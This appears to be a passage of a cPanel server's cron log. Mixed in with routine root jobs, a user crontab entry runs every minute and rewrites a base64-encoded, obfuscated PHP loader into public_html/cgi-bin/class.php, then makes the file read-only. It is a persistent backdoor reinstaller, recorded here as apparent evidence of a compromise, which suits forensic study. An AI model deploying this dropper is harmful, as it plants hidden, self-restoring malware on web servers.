RfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:00:01 server CROND[27670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:00:01 server CROND[27672]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 05:00:01 server CROND[27671]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:00:01 server CROND[27673]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:01:01 server CROND[27884]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 05:01:01 server CROND[27885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:01:01 server run-parts(/etc/cron.hourly)[27884]: starting 0anacron
Apr  7 05:01:01 server run-parts(/etc/cron.hourly)[27897]: finished 0anacron
Apr  7 05:02:01 server CROND[27959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:03:01 server CROND[28027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:04:01 server CROND[28087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:05:01 server CROND[28138]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:05:01 server CROND[28142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:05:01 server CROND[28144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:05:01 server CROND[28143]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  7 05:05:01 server CROND[28147]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 05:06:01 server CROND[28256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:07:01 server CROND[28412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:08:01 server CROND[28476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:09:01 server CROND[28525]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 05:09:01 server CROND[28526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:10:01 server CROND[28598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:10:01 server CROND[28600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:10:01 server CROND[28599]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 05:10:01 server CROND[28601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:11:01 server CROND[28712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:12:01 server CROND[28810]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 05:12:01 server CROND[28811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
